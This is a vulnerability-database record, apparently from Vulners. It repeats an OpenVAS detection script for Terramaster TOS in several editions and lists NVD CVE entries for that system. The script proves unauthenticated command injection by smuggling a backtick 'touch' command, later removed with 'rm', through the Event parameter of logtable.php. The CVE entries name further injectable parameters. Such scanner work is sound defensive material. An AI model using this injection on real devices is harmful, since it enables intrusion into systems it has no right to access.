"http://plugins.openvas.org/nasl.php?oid=1361412562310141751", "id": "OPENVAS:1361412562310141751", "lastseen": "2018-12-20T11:47:23", "modified": "2018-12-10T00:00:00", "naslFamily": "Web application abuses", "objectVersion": "1.3", "pluginID": "1361412562310141751", "published": "2018-12-04T00:00:00", "references": ["https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63", "https://blog.securityevaluators.com/vulnerabilities-in-terramaster-tos-3-1-03-fb99cf88b86a?gi=2baa8c595109"], "reporter": "This script is Copyright (C) 2018 Greenbone Networks GmbH", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_terramaster_mult_vuln.nasl 12744 2018-12-10 13:48:33Z cfischer $\n#\n# Terramaster TOS <= 3.1.03 Multiple Vulnerabilities\n#\n# Authors:\n# Christian Kuersteiner <christian.kuersteiner@greenbone.net>\n#\n# Copyright:\n# Copyright (c) 2018 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = \"cpe:/a:noontec:terramaster\";\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.141751\");\n script_version(\"$Revision: 12744 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-12-10 14:48:33 +0100 (Mon, 10 Dec 2018) $\");\n script_tag(name:\"creation_date\", value:\"2018-12-04 17:22:47 +0700 (Tue, 04 Dec 2018)\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n\n script_cve_id(\"CVE-2018-13329\", \"CVE-2018-13330\", \"CVE-2018-13331\", \"CVE-2018-13332\", \"CVE-2018-13333\",\n \"CVE-2018-13334\", \"CVE-2018-13335\", \"CVE-2018-13336\", \"CVE-2018-13337\", \"CVE-2018-13338\",\n \"CVE-2018-13349\", \"CVE-2018-13350\", \"CVE-2018-13351\", \"CVE-2018-13352\", \"CVE-2018-13353\",\n \"CVE-2018-13354\", \"CVE-2018-13355\", \"CVE-2018-13356\", \"CVE-2018-13357\", \"CVE-2018-13358\",\n \"CVE-2018-13359\", \"CVE-2018-13360\", \"CVE-2018-13361\", \"CVE-2018-13418\");\n\n script_tag(name:\"qod_type\", value:\"exploit\");\n\n script_tag(name:\"solution_type\", value:\"NoneAvailable\");\n\n script_name(\"Terramaster TOS <= 3.1.03 Multiple Vulnerabilities\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"This script is Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"gb_terramaster_nas_detect.nasl\");\n script_mandatory_keys(\"terramaster_nas/detected\");\n\n script_tag(name:\"summary\", value:\"Terramaster TOS is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Sends a crafted HTTP POST request and checks the response.\");\n\n script_tag(name:\"affected\", value:\"Terramaster TOS version 3.1.03 and prior.\");\n\n script_tag(name:\"solution\", value:\"No known solution is available as of 04th December, 2018.\n Information regarding this issue will be updated once solution details are available.\");\n\n script_xref(name:\"URL\", value:\"https://blog.securityevaluators.com/vulnerabilities-in-terramaster-tos-3-1-03-fb99cf88b86a?gi=2baa8c595109\");\n script_xref(name:\"URL\", value:\"https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63\");\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"misc_func.inc\");\n\nif (!port = get_app_port(cpe: CPE))\n exit(0);\n\nif (!get_app_location(cpe: CPE, port: port, nofork: TRUE))\n exit(0);\n\nvt_strings = get_vt_strings();\nfile = vt_strings[\"default_rand\"] + \".txt\";\n\nurl = '/include/ajax/logtable.php';\nheaders = make_array(\"Content-Type\", \"application/x-www-form-urlencoded\");\ndata = \"tab=gettotal&Event=%60touch%20%2Fusr%2Fwww%2F\" + file + \"%60&table=access_syslog\";\n\nreq = http_post_req(port: port, url: url, data: data, add_headers: headers);\nres = http_keepalive_send_recv(port: port, data: req);\n\nreq = http_get(port: port, item: \"/\" + file);\nres = http_keepalive_send_recv(port: port, data: req);\n\nif (res =~ \"^HTTP/1\\.[01] 200\") {\n report = \"It was possible to execute the os command 'touch' to write a file on the system.\";\n security_message(port: port, data: report);\n\n # Cleanup\n data = \"tab=gettotal&Event=%60rm%20%2Fusr%2Fwww%2F\" + file + \"%60&table=access_syslog\";\n req = http_post_req(port: port, url: url, data: data, add_headers: headers);\n res = http_keepalive_send_recv(port: port, data: req);\n\n exit(0);\n}\n\nexit(99);\n", "title": "Terramaster TOS <= 3.1.03 Multiple Vulnerabilities", "type": "openvas", "viewCount": 0}, "differentElements": ["modified", "sourceData"], "edition": 3, "lastseen": "2018-12-20T11:47:23"}, {"bulletin": {"bulletinFamily": "scanner", "cvelist": ["CVE-2018-13335", "CVE-2018-13337", "CVE-2018-13349", "CVE-2018-13355", "CVE-2018-13356", "CVE-2018-13329", "CVE-2018-13357", "CVE-2018-13358", "CVE-2018-13351", "CVE-2018-13361", "CVE-2018-13360", "CVE-2018-13331", "CVE-2018-13336", "CVE-2018-13334", "CVE-2018-13354", "CVE-2018-13359", "CVE-2018-13333", "CVE-2018-13418", "CVE-2018-13352", "CVE-2018-13330", "CVE-2018-13353", "CVE-2018-13338", "CVE-2018-13350", "CVE-2018-13332"], "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "description": "Terramaster TOS is prone to multiple vulnerabilities.", "edition": 6, "enchantments": {"dependencies": {"modified": "2019-05-29T18:32:37", "references": [{"idList": ["E-678"], "type": "dsquare"}, {"idList": ["CVE-2018-13337", "CVE-2018-13349", "CVE-2018-13356", "CVE-2018-13357", "CVE-2018-13358", "CVE-2018-13334", "CVE-2018-13359", "CVE-2018-13418", "CVE-2018-13352", "CVE-2018-13350"], "type": "cve"}]}, "score": {"modified": "2019-05-29T18:32:37", "value": 7.1, "vector": "NONE"}}, "hash": "fb91cfae2ae0d48a5334a53ee8c7734b314b856b8adfc723408aff7bfc1130b3", "hashmap": [{"hash": "f4e73017584f74dc267dc9f9f7a27ff2", "key": "href"}, {"hash": "29434c8e0023957921c1976bf1458bc9", "key": "reporter"}, {"hash": "09a094df74011b9eaaac688149bc38b7", "key": "cvelist"}, {"hash": "f5a7c6fbed7d69b9366f07e021ae8bd3", "key": "published"}, {"hash": "1efde50a421d82ee34b32c0db5e2555f", "key": "title"}, {"hash": "6a8535d82bf6ddc9c58387bdec1620fb", "key": "modified"}, {"hash": "edfca85c4c320ffaa9dcfdcb6a20ce1d", "key": "cvss"}, {"hash": "55199d25018fbdb9b50e6b64d444c3a4", "key": "naslFamily"}, {"hash": "47c1f692ea47a21f716dad07043ade01", "key": "type"}, {"hash": "b12a6f0f44cb5e9aa7fd26435d8d97a2", "key": "description"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "648d97c87bfdb7d324854bc9aa3a5a2d", "key": "pluginID"}, {"hash": "d78e1dcfb78ebf88aaee13fbfce95639", "key": "sourceData"}, {"hash": "30710ca3ed831a495b7a82f7913fc280", "key": "references"}], "history": [], "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310141751", "id": "OPENVAS:1361412562310141751", "lastseen": "2019-05-29T18:32:37", "modified": "2019-02-26T00:00:00", "naslFamily": "Web application abuses", "objectVersion": "1.3", "pluginID": "1361412562310141751", "published": "2018-12-04T00:00:00", "references": ["https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63", "https://blog.securityevaluators.com/vulnerabilities-in-terramaster-tos-3-1-03-fb99cf88b86a?gi=2baa8c595109"], "reporter": "This script is Copyright (C) 2018 Greenbone Networks GmbH", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_terramaster_mult_vuln.nasl 13858 2019-02-26 04:17:07Z ckuersteiner $\n#\n# Terramaster TOS <= 3.1.03 Multiple Vulnerabilities\n#\n# Authors:\n# Christian Kuersteiner <christian.kuersteiner@greenbone.net>\n#\n# Copyright:\n# Copyright (c) 2018 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = \"cpe:/a:noontec:terramaster\";\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.141751\");\n script_version(\"$Revision: 13858 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-02-26 05:17:07 +0100 (Tue, 26 Feb 2019) $\");\n script_tag(name:\"creation_date\", value:\"2018-12-04 17:22:47 +0700 (Tue, 04 Dec 2018)\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n\n script_cve_id(\"CVE-2018-13329\", \"CVE-2018-13330\", \"CVE-2018-13331\", \"CVE-2018-13332\", \"CVE-2018-13333\",\n \"CVE-2018-13334\", \"CVE-2018-13335\", \"CVE-2018-13336\", \"CVE-2018-13337\", \"CVE-2018-13338\",\n \"CVE-2018-13349\", \"CVE-2018-13350\", \"CVE-2018-13351\", \"CVE-2018-13352\", \"CVE-2018-13353\",\n \"CVE-2018-13354\", \"CVE-2018-13355\", \"CVE-2018-13356\", \"CVE-2018-13357\", \"CVE-2018-13358\",\n \"CVE-2018-13359\", \"CVE-2018-13360\", \"CVE-2018-13361\", \"CVE-2018-13418\");\n\n script_tag(name:\"qod_type\", value:\"exploit\");\n\n script_tag(name:\"solution_type\", value:\"NoneAvailable\");\n\n script_name(\"Terramaster TOS <= 3.1.03 Multiple Vulnerabilities\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"This script is Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"gb_terramaster_nas_detect.nasl\");\n script_mandatory_keys(\"terramaster_nas/detected\");\n\n script_tag(name:\"summary\", value:\"Terramaster TOS is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Sends a crafted HTTP POST request and checks the response.\");\n\n script_tag(name:\"affected\", value:\"Terramaster TOS version 3.1.03 and prior.\");\n\n script_tag(name:\"solution\", value:\"No known solution is available as of 26th February, 2019.\n Information regarding this issue will be updated once solution details are available.\");\n\n script_xref(name:\"URL\", value:\"https://blog.securityevaluators.com/vulnerabilities-in-terramaster-tos-3-1-03-fb99cf88b86a?gi=2baa8c595109\");\n script_xref(name:\"URL\", value:\"https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63\");\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"misc_func.inc\");\n\nif (!port = get_app_port(cpe: CPE))\n exit(0);\n\nif (!get_app_location(cpe: CPE, port: port, nofork: TRUE))\n exit(0);\n\nvt_strings = get_vt_strings();\nfile = vt_strings[\"default_rand\"] + \".txt\";\n\nurl = '/include/ajax/logtable.php';\nheaders = make_array(\"Content-Type\", \"application/x-www-form-urlencoded\");\ndata = \"tab=gettotal&Event=%60touch%20%2Fusr%2Fwww%2F\" + file + \"%60&table=access_syslog\";\n\nreq = http_post_req(port: port, url: url, data: data, add_headers: headers);\nres = http_keepalive_send_recv(port: port, data: req);\n\nreq = http_get(port: port, item: \"/\" + file);\nres = http_keepalive_send_recv(port: port, data: req);\n\nif (res =~ \"^HTTP/1\\.[01] 200\") {\n report = \"It was possible to execute the os command 'touch' to write a file on the system.\";\n security_message(port: port, data: report);\n\n # Cleanup\n data = \"tab=gettotal&Event=%60rm%20%2Fusr%2Fwww%2F\" + file + \"%60&table=access_syslog\";\n req = http_post_req(port: port, url: url, data: data, add_headers: headers);\n res = http_keepalive_send_recv(port: port, data: req);\n\n exit(0);\n}\n\nexit(99);\n", "title": "Terramaster TOS <= 3.1.03 Multiple Vulnerabilities", "type": "openvas", "viewCount": 4}, "differentElements": ["modified", "sourceData"], "edition": 6, "lastseen": "2019-05-29T18:32:37"}], "edition": 7, "hashmap": [{"key": "bulletinFamily", "hash": "bbdaea376f500d25f6b0c1050311dd07"}, {"key": "cvelist", "hash": "09a094df74011b9eaaac688149bc38b7"}, {"key": "cvss", "hash": "edfca85c4c320ffaa9dcfdcb6a20ce1d"}, {"key": "description", "hash": "b12a6f0f44cb5e9aa7fd26435d8d97a2"}, {"key": "href", "hash": "f4e73017584f74dc267dc9f9f7a27ff2"}, {"key": "modified", "hash": "7db7bf8a2a0567bb57e756c4fbb03793"}, {"key": "naslFamily", "hash": "55199d25018fbdb9b50e6b64d444c3a4"}, {"key": "pluginID", "hash": "648d97c87bfdb7d324854bc9aa3a5a2d"}, {"key": "published", "hash": "f5a7c6fbed7d69b9366f07e021ae8bd3"}, {"key": "references", "hash": "30710ca3ed831a495b7a82f7913fc280"}, {"key": "reporter", "hash": "29434c8e0023957921c1976bf1458bc9"}, {"key": "sourceData", "hash": "b7bbec8349f6e00b560db57c6f9fd280"}, {"key": "title", "hash": "1efde50a421d82ee34b32c0db5e2555f"}, {"key": "type", "hash": "47c1f692ea47a21f716dad07043ade01"}], "hash": "38a639d09d062803f1b58f66ca65ca070105139756e33b1d7c5f0759248fa14f", "viewCount": 14, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2018-13349", "CVE-2018-13357", "CVE-2018-13356", "CVE-2018-13333", "CVE-2018-13334", "CVE-2018-13337", "CVE-2018-13338", "CVE-2018-13336", "CVE-2018-13361", "CVE-2018-13358"]}, {"type": "dsquare", "idList": ["E-678"]}], "modified": "2019-08-28T14:53:13"}, "score": {"value": 7.1, "vector": "NONE", "modified": "2019-08-28T14:53:13"}, "vulnersScore": 7.1}, "objectVersion": "1.3", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n#\n# Terramaster TOS <= 3.1.03 Multiple Vulnerabilities\n#\n# Authors:\n# Christian Kuersteiner <christian.kuersteiner@greenbone.net>\n#\n# Copyright:\n# Copyright (c) 2018 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = \"cpe:/a:noontec:terramaster\";\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.141751\");\n script_version(\"2019-08-28T07:30:37+0000\");\n script_tag(name:\"last_modification\", value:\"2019-08-28 07:30:37 +0000 (Wed, 28 Aug 2019)\");\n script_tag(name:\"creation_date\", value:\"2018-12-04 17:22:47 +0700 (Tue, 04 Dec 2018)\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n\n script_cve_id(\"CVE-2018-13329\", \"CVE-2018-13330\", \"CVE-2018-13331\", \"CVE-2018-13332\", \"CVE-2018-13333\",\n \"CVE-2018-13334\", \"CVE-2018-13335\", \"CVE-2018-13336\", \"CVE-2018-13337\", \"CVE-2018-13338\",\n \"CVE-2018-13349\", \"CVE-2018-13350\", \"CVE-2018-13351\", \"CVE-2018-13352\", \"CVE-2018-13353\",\n \"CVE-2018-13354\", \"CVE-2018-13355\", \"CVE-2018-13356\", \"CVE-2018-13357\", \"CVE-2018-13358\",\n \"CVE-2018-13359\", \"CVE-2018-13360\", \"CVE-2018-13361\", \"CVE-2018-13418\");\n\n script_tag(name:\"qod_type\", value:\"exploit\");\n\n script_tag(name:\"solution_type\", value:\"NoneAvailable\");\n\n script_name(\"Terramaster TOS <= 3.1.03 Multiple Vulnerabilities\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"This script is Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"gb_terramaster_nas_detect.nasl\");\n script_mandatory_keys(\"terramaster_nas/detected\");\n\n script_tag(name:\"summary\", value:\"Terramaster TOS is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Sends a crafted HTTP POST request and checks the response.\");\n\n script_tag(name:\"affected\", value:\"Terramaster TOS version 3.1.03 and prior.\");\n\n script_tag(name:\"solution\", value:\"No known solution is available as of 28th August, 2019.\n Information regarding this issue will be updated once solution details are available.\");\n\n script_xref(name:\"URL\", value:\"https://blog.securityevaluators.com/vulnerabilities-in-terramaster-tos-3-1-03-fb99cf88b86a?gi=2baa8c595109\");\n script_xref(name:\"URL\", value:\"https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63\");\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"misc_func.inc\");\n\nif (!port = get_app_port(cpe: CPE))\n exit(0);\n\nif (!get_app_location(cpe: CPE, port: port, nofork: TRUE))\n exit(0);\n\nvt_strings = get_vt_strings();\nfile = vt_strings[\"default_rand\"] + \".txt\";\n\nurl = '/include/ajax/logtable.php';\nheaders = make_array(\"Content-Type\", \"application/x-www-form-urlencoded\");\ndata = \"tab=gettotal&Event=%60touch%20%2Fusr%2Fwww%2F\" + file + \"%60&table=access_syslog\";\n\nreq = http_post_req(port: port, url: url, data: data, add_headers: headers);\nres = http_keepalive_send_recv(port: port, data: req);\n\nreq = http_get(port: port, item: \"/\" + file);\nres = http_keepalive_send_recv(port: port, data: req);\n\nif (res =~ \"^HTTP/1\\.[01] 200\") {\n report = \"It was possible to execute the os command 'touch' to write a file on the system.\";\n security_message(port: port, data: report);\n\n # Cleanup\n data = \"tab=gettotal&Event=%60rm%20%2Fusr%2Fwww%2F\" + file + \"%60&table=access_syslog\";\n req = http_post_req(port: port, url: url, data: data, add_headers: headers);\n res = http_keepalive_send_recv(port: port, data: req);\n\n exit(0);\n}\n\nexit(99);\n", "naslFamily": "Web application abuses", "pluginID": "1361412562310141751", "scheme": null}
{"cve": [{"lastseen": "2019-05-29T18:19:46", "bulletinFamily": "NVD", "description": "Cross-site scripting in handle.php in TerraMaster TOS version 3.1.03 allows attackers to execute JavaScript via the \"options[sysname]\" parameter.", "modified": "2018-12-19T20:50:00", "id": "CVE-2018-13334", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-13334", "published": "2018-11-27T20:29:00", "title": "CVE-2018-13334", "type": "cve", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2019-05-29T18:19:46", "bulletinFamily": "NVD", "description": "Session Fixation in the web application for TerraMaster TOS version 3.1.03 allows attackers to control users' session cookies via JavaScript.", "modified": "2018-12-21T18:42:00", "id": "CVE-2018-13337", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-13337", "published": "2018-11-27T20:29:00", "title": "CVE-2018-13337", "type": "cve", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-05-29T18:19:46", "bulletinFamily": "NVD", "description": "Cross-site scripting in the web application taskbar in TerraMaster TOS version 3.1.03 allows attackers to execute JavaScript via the user's username.", "modified": "2018-12-19T21:40:00", "id": "CVE-2018-13349", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-13349", "published": "2018-11-27T21:29:00", "title": "CVE-2018-13349", "type": "cve", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2019-05-29T18:19:46", "bulletinFamily": "NVD", "description": "Cross-site scripting in Control Panel in TerraMaster TOS version 3.1.03 allows attackers to execute JavaScript when viewing Shared Folders via JavaScript in Shared Folders' names.", "modified": "2018-12-19T23:56:00", "id": "CVE-2018-13357", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-13357", "published": "2018-11-27T21:29:00", "title": "CVE-2018-13357", "type": "cve", "cvss": {"score": 3.5, "vector": "AV:N/AC:M/Au:S/C:N/I:P/A:N"}}, {"lastseen": "2019-05-29T18:19:46", "bulletinFamily": "NVD", "description": "User enumeration in usertable.php in TerraMaster TOS version 3.1.03 allows attackers to list all system users via the \"modgroup\" parameter.", "modified": "2018-12-21T15:44:00", "id": "CVE-2018-13361", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-13361", "published": "2018-11-27T21:29:00", "title": "CVE-2018-13361", "type": "cve", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2019-10-04T12:25:55", "bulletinFamily": "NVD", "description": "System command injection in ajaxdata.php in TerraMaster TOS version 3.1.03 allows attackers to execute commands via the \"checkport\" parameter.", "modified": "2019-10-03T00:03:00", "id": "CVE-2018-13353", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-13353", "published": "2018-11-27T21:29:00", "title": "CVE-2018-13353", "type": "cve", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2019-10-04T12:25:55", "bulletinFamily": "NVD", "description": "System command injection in ajaxdata.php in TerraMaster TOS version 3.1.03 allows attackers to execute system commands via the \"checkName\" parameter.", "modified": "2019-10-03T00:03:00", "id": "CVE-2018-13358", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-13358", "published": "2018-11-27T21:29:00", "title": "CVE-2018-13358", "type": "cve", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2019-10-04T12:25:55", "bulletinFamily": "NVD", "description": "Incorrect access control on ajaxdata.php in TerraMaster TOS version 3.1.03 allows attackers to elevate user permissions.", "modified": "2019-10-03T00:03:00", "id": "CVE-2018-13356", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-13356", "published": "2018-11-27T21:29:00", "title": "CVE-2018-13356", "type": "cve", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:19:46", "bulletinFamily": "NVD", "description": "Cross-site scripting in ajaxdata.php in TerraMaster TOS version 3.1.03 allows attackers to execute JavaScript via the \"lines\" URL parameter.", "modified": "2018-12-19T20:54:00", "id": "CVE-2018-13329", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-13329", "published": "2018-11-27T20:29:00", "title": "CVE-2018-13329", "type": "cve", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2019-05-29T18:19:46", "bulletinFamily": "NVD", "description": "Cross-site scripting in Text Editor in TerraMaster TOS version 3.1.03 allows attackers to execute JavaScript via the \"filename\" URL parameter.", "modified": "2018-12-20T19:42:00", "id": "CVE-2018-13360", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-13360", "published": "2018-11-27T21:29:00", "title": "CVE-2018-13360", "type": "cve", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "dsquare": [{"lastseen": "2019-05-29T15:31:56", "bulletinFamily": "exploit", "description": "SQL Injection vulnerability in TerraMaster Operating System Event parameter\n\nVulnerability Type: SQL Injection", "modified": "2019-01-03T00:00:00", "published": "2019-01-03T00:00:00", "id": "E-678", "href": "", "type": "dsquare", "title": "TerraMaster Operating System SQL Injection", "sourceData": "For the exploit source code contact DSquare Security sales team.", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}